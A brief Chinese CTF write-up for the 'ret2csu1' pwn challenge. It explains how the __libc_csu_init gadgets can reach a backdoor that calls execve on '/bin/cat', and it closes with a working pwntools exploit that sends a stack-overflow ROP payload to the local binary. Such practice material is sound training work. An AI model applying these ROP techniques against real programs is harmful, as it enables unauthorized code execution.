题目

题目链接

checksec

这是什么鸭

IDA

这是什么鸭

csu 中有 call [r12 + rbx*8] ,令 r12 为指向 backdoor 地址的一个地址即 gift3 , rbp 为 0 即可调用 backdoor

这是什么鸭

这是什么鸭

根据 execve 的参数定义,令 rdi -> “/bin/cat\x00” 即 rdi = aBinCat , rsi = gift2 , rdx = 0 再调用 backdoor 即可

这是什么鸭

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./ret2csu1')

csu1 = p64(0x40072A)
csu2 = p64(0x400710)
rdi = p64(0x4007BB)
rsi = p64(0x601050)
backdoor = p64(0x601068)

padding = 32 + 8

payload = b'A' * padding + csu1 + p64(0) + p64(1) + backdoor + rdi + rsi + p64(0) + csu2

io.recvuntil(b'it!\n')
io.sendline(payload)
io.interactive()